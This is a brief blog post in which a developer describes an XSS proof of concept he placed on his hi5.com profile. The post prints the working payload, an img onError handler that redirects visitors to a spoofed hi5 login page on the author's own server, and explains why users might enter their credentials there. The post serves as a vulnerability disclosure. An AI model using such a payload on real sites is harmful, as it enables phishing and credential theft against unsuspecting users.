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Hi5 and XSS Part II

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Hi5 and XSS Part II

Well I've just written a proof of concept on >>my hi5.com profile. You need a valid login! While loading my profile, you'll auto-magically be redirected to a spoofed hi5.com page at my webserver, I won't save the information you input, but I suggest you to enter only testing info to try it out!

For the interested the proof of concept is the following:

<img src="" onError="location.replace('http://pabrantes.dyndns.org/www.hi5.com/friend/displayMyProfile.html');">

Since no image will be loaded an onError event will be generated, and automatically the user will be re-asked to relogin, but in the fake page! Since it's not unusual to be asked to relogin at hi5.com there's a potential danger for users to disclosure their information!
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paulo-roca2My name is Paulo Abrantes AKA pabrantes and I'm a software developer. I'm currently employed at >>CIIST working as a Java developer in >>FenixEDU.

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